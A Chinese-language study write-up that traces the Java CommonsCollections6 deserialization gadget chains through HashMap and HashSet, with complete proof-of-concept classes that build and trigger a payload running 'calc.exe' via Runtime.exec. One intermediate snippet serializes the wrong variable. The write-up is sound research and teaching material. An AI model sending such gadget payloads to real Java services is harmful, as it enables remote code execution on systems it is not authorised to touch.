java反序列化之CommonCollections6利⽤链的学习

一、源起

前文学习CC1链和URLDNS链的学习，同时学习过程中知道cc1受jdk版本的限制，故而进一步分析cc6链的利用过程，这个利用链不受jdk版本的限制，只要commons collections小于等于3.2.1，都存在这个漏洞。

ps：环境使用：

ComonsCllections <= 3.2.1
java 1.8.0_261

二、利用链1（java.util.HashMap#readObject链）

1、利用链说明

老规矩，还是用P神简化后的利用链进行学习

Gadget chain:

java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform(
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

我们首先要关注的就是利用链开始到 org.apache.commons.collections.map.LazyMap.get() 这一部分，因为在CC1链的分析中，我们探索了LazyMap的get方法的利用过程，在CC1链中，利用的是 sun.reflect.annotationInvocationHandler#invoke 方法调用的 LazyMap#get ; 但是因为 sun.reflect.annotationInvocationHandler 受限于jdk版本，所以CC6链中需要重新寻找会调用LazyMap#get的链路。

在CC6链路中，找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ，在其 getValue() 方法中调用了 this.map.get , 而其hashCode方法又调用了 getValue 方法：

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

所以，欲触发LazyMap利用链，就是要找到哪里调用了 TiedMapEntry#hashCode ；

其实说起hashCode() 方法，在之前分析URLDNS链中就有调用，故而我们分析 java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调用

public class HashMap<K,V> extends AbstractMap<K,V>
 implements Map<K,V>, Cloneable, Serializable {
 
 // ...
 
 static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 // ...
 
 private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException {
 // Read in the threshold (ignored), loadfactor, and any hidden
stuff
 s.defaultReadObject();
 // ...
 // Read the keys and values, and put the mappings in the
HashMap
 for (int i = 0; i < mappings; i++) {
 @SuppressWarnings("unchecked")
 K key = (K) s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }

在HashMap的readObject方法中，调用到了 hash(key)，而hash方法中，调用到了 key.hashCode()。所以，我们只需要让这个key等于TiedMapEntry对象，即可连接上前面分析过程，构成一个完整的利用链。

2、构造POC

经过上面的分析，利用链也清晰了，那么我们着手构造poc，首先，我们先把恶意的 LazyMap构成出来：

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行，构造LazyMap的时候先用一个人畜无害的fakeTransformers 对象，等最后要生成Payload的时候，再把真正的transformers 替换进去。

现在，我们有了恶意的LazyMap对象outerMap，将其作为TiedMapEntry的map属性：

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着，为了调用TiedMapEntry#hashCode() ，我们需要将tme对象作为HashMap的一个key。注意，这里需要新建一个HashMap，而不是用之前的LazyMap利用链里的那个HashMap，两者没有任何关系：

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后，我们才是将这个expMap作为对象来进行序列化，不过，不要遗忘将真正的poc的transformers数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

所以最终构造成的测试POC如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

但是，实际一执行上面的poc，发现并没有弹出计算器，这又是为什么？我们实际调试跟进一下，

关键点再LazyMap的get方法，下图我画框的部分，就是最后触发命令执行的Transform(), 这个if语句并没有进入，因为map.containsKey(key) 的结果是 true：

这是为什么呢？outerMap中我并没有放入一个key 是keykey的对象呀。

我们看下之前的代码，唯一出现keykey的地方就是在TiedMapEntry的构造函数里，但TiedMapEntry的构造函数并没有修改outerMap。

其实，这个关键点就出在expMap.put(tme,"valuevalue") 这个语句里面。 HashMap的put方法中，也有调用 hash(key) :

public V put(K key, V value) {
 return putVal(hash(key), key, value, false, true);
}

这里就导致LazyMap 这个利用链在这里被调用一遍。因为我前面用了fakeTransformers，所以此时并没有触发命令执行，但实际上也对我们构造payload产生了影响。

这里解决方法也很简单，只需要将keykey这个 Key，再从outerMap中移除即可，故而完整的POC如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap =  new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();
    }





}

三、利用链2（java.util.HashSet#readObject()链）

1、利用链说明

其实 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 及之后部分都是一样的，只是说还有哪里会调用到TiedMapEntry.hashCode() 方法，那么这条利用链如下：

java.util.HashSet#readObject --> java.util.HashSet#add --> java.util.HashSet#put --> java.util.HashSet#hashcode

Gadget chain:

java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashSet.add()
java.util.HashSet.put()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform(
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

其实就是通过HashSet中的readObject方法在最后会触发put方法（本质就是HashMap的put方法），然后put方法如HashMap中一样，会触发到hashcode方法

但是这里需要把 e 变成TiedMapEntry对象，这样才能触发到 TiedMapEntry的 hashCode方法。

而e的值来自于 E e = (E) s.readObject(); 所以我们跟进下HashSet的 writeObject方法，查看e的来源，如下所示，其实就来自于我们序列化前设置的HashSet对象

回到 HashSet#readObject() 方法中，其会调用put方法，追究到底其实就是 HashMap#put() 方法，所以这部分我们只要控制e就可以，也就是 e 这个键是 TiedMapEntry对象即可

刚好 HashSet中提供了 add 方法，HashSet对象添加一个元素，也就是e 这键的值设置为 TiedMapEntry 对象，将TiedMapEntry对象添加到HashSet中。

2、构造POC

经过上面的分析，利用链也清晰了，那么我们着手构造POC。首先，我们先把恶意的LazyMap构造出来：

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行，构造LazyMap的时候先用一个人畜无害的fakeTransformers对象，等最后要生成Payload的时候，再把真正的transformers 替换进去。

现在，我们有一个恶意的LazyMap 对象 outerMap，将其作为TiedMapEntry的map属性：

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着，为了调用TiedMapEntry#hashCode() ，我们需要将 tme 对象作为HashSet的一个key。注意，这里需要新建一个 HashSet，而不是用之前的 LazyMap利用链里的那个HashMap，两者没有任何关系，使用add方法给HashSet添加一个元素：

HashSet expSet = new HashSet();
expSet.add(tme);

最后，我们才是将这个expSet作为对象来进行序列化，不过不要遗忘将真正的poc的transformers 数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

同样的，expSet.add(tme); 这个语句⾥⾯。

HashSet的add⽅法中，也有调⽤到 put方法，并会导致执行hash(key) 方法，最终导致出现和hashMap一样的问题。

关键点在LazyMap的get⽅法，下图我画框的部分，就是最后触发命令执⾏的 transform() ，但是这个if语句并没有进⼊，因为 map.containsKey(key) 的结果是true：

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍，因为我前⾯⽤了 fakeTransformers ，所以此时并没有触发命令执⾏，但实际上也对我们构造Payload产⽣了影响。

我们的解决⽅法也很简单，只需要将keykey这个Key，再从outerMap中移除即可：

所以，最终构造成的测试POC如下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC62 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


        HashSet expSet = new HashSet();
        expSet.add(tme);
        outerMap.remove("keykey");

        //将真正的transformers数组设置进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expSet);
        oos.close();


        //本地发序列化测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o  = (Object)ois.readObject();

    }
}